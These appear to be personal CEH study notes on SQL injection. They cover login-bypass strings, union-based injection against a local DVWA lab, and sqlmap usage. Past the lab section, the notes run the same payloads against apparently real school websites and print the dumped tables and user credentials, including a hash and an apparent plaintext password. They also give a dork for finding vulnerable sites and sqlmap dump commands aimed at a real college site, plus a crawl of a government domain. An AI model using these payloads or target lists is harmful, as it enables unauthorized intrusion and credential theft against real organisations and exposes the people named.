**CEH Notes Day-15 (04/01/2020)**

SQL injection

Injection attack, like XSS where user gives unsanitary input and web-app because of poor development or improper SDLC uses that attack vector to inject SQL queries.

1. Basic Auth Bypass

2. Manual sqli (union based sqli on MySQL database)

3. using automated tools (sqlmap)

1. Basic Auth Bypass

mysql -u root

show databases

use owsap10

SELECT \* FROM accounts WHERE username='admin' AND password='admin';

' OR '1' = '1

SELECT \* FROM accounts WHERE username=' ' or '1' = '1' AND password=' ' OR '1' = '1';

jeremy'--

a blank space to be given at end of jeremy'-- to make it a commented line.

SELECT \* FROM accounts WHERE username=' jeremy'-- ' AND password=' ';

2. Union based sqli

DVWA -> low security -> sql injection

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3&Submit=Submit#

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3'&Submit=Submit#

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' order by 1--+&Submit=Submit#

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' order by 2--+&Submit=Submit#

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' order by 3--+&Submit=Submit# XXXX

No of columns from which values being referred on current page == 2

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT 1,2--+&Submit=Submit#

database()

user()

version()

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT database(),user()--+&Submit=Submit#

database name == dvwa

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT group\_concat(table\_name),2 from information\_schema.tables where table\_schema=database()--+&Submit=Submit#

tables in dvwa == guestbook,users

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT group\_concat(column\_name),2 from information\_schema.columns where table\_name='users'--+&Submit=Submit#

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT group\_concat(user\_id,first\_name,last\_name,user,password),2 from users--+&Submit=Submit#

0x3a - hexadecimal for :

http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=3' UNION SELECT group\_concat(user\_id,0x3a,first\_name,0x3a,last\_name,0x3a,user,0x3a,password),2 from users--+&Submit=Submit#

1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99,

2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03,

3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b,

4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7,

5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99

1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:password,

2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:abc123,

3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:charley,

4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:letmein,

5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:password

into outfile

union-based-sqli-steps

1.checking bby adding ' or " or ` to create error

2.if shows error, webapp might be vulnerable to sqli attack

3.if yes, then find the no of columns from which values are getting fetched(order by)

4.among the total no of columns, find columns vulnerabld to sqli(union select)

5.find the db name

6.find tables in db, select one

7.find columns in table in db

8.dump contents or any more attack

<http://ami.edu.pk/page.php?p_id=100>

<http://ami.edu.pk/page.php?p_id=100'> order by 1--+

<http://ami.edu.pk/page.php?p_id=100> order by 1--+

<http://ami.edu.pk/page.php?p_id=100> order by 2--+

.

.

<http://ami.edu.pk/page.php?p_id=100> order by 11--+

<http://ami.edu.pk/page.php?p_id=100> order by 12--+ XXXX

total no of columns referencing values for current page == 11

<http://ami.edu.pk/page.php?p_id=100> UNION SELECT 1,2,3,4,5,6,7,8,9,10,11--+

<http://ami.edu.pk/page.php?p_id=-100> UNION SELECT 1,2,3,4,5,6,7,8,9,10,11--+

<http://ami.edu.pk/page.php?p_id=-100> UNION SELECT 1,2,database(),database(),database(),6,7,8,9,10,11--+

<http://ami.edu.pk/page.php?p_id=-100> UNION SELECT 1,2,3,4,group\_concat(table\_name),6,7,8,9,10,11 from information\_schema.tables where table\_schema=database()--+

tblalbums,tblbanner,tblcareers,tblcareers\_orig,tbldownloads,tblevents,tblgallery,tblnewsletters,tblpages,tblpartners,tblservices\_accordians,tblsocials,tblstaff,tblstatistics,tbltestimonials,tblusers,tblvideos

<http://ami.edu.pk/page.php?p_id=-100> UNION SELECT 1,2,3,4,group\_concat(column\_name),6,7,8,9,10,11 from information\_schema.columns where table\_name='tblusers'--+

user\_id,avator,full\_name,username,password,status

<http://ami.edu.pk/page.php?p_id=-100> UNION SELECT 1,2,3,4,group\_concat(user\_id,0x3a,avator,0x3a,full\_name,0x3a,username,0x3a,password,0x3a,status),6,7,8,9,10,11 from tblusers--+

1:avatar-mini-2.jpg:Administrator:admin:518522dba359eb3f9335ddfd6818d51e:1,

2:chat-avatar2.jpg:Muhammad Khurshid:developer866:nothing@143:1

518522dba359eb3f9335ddfd6818d51e-admin@ami

<https://hashkiller.co.uk/>

<http://sqlmap.org/> - It is a penetration testing tool that automates the process of detecting and exploiting SQL injection flaws providing its user interface in the terminal.

[inurl:ac.in](about:blank) php?id=

<http://www.stpeterscollege.ac.in/faculty-profile.php?id=23>

sqlmap cmds

 sqlmap -u <http://www.stpeterscollege.ac.in/faculty-profile.php?id=23> --dbs

 sqlmap -u <http://www.stpeterscollege.ac.in/faculty-profile.php?id=23> --current-db

 sqlmap -u <http://www.stpeterscollege.ac.in/faculty-profile.php?id=23> -D 'stpccaci\_stpeters' --tables

 sqlmap -u <http://www.stpeterscollege.ac.in/faculty-profile.php?id=23> -D 'stpccaci\_stpeters' -T login --columns

 sqlmap -u <http://www.stpeterscollege.ac.in/faculty-profile.php?id=23> -D 'stpccaci\_stpeters' -T login -C username,pwd,id,f\_id --dump

sqlmap -u <https://uidai.gov.in/> --crawl 5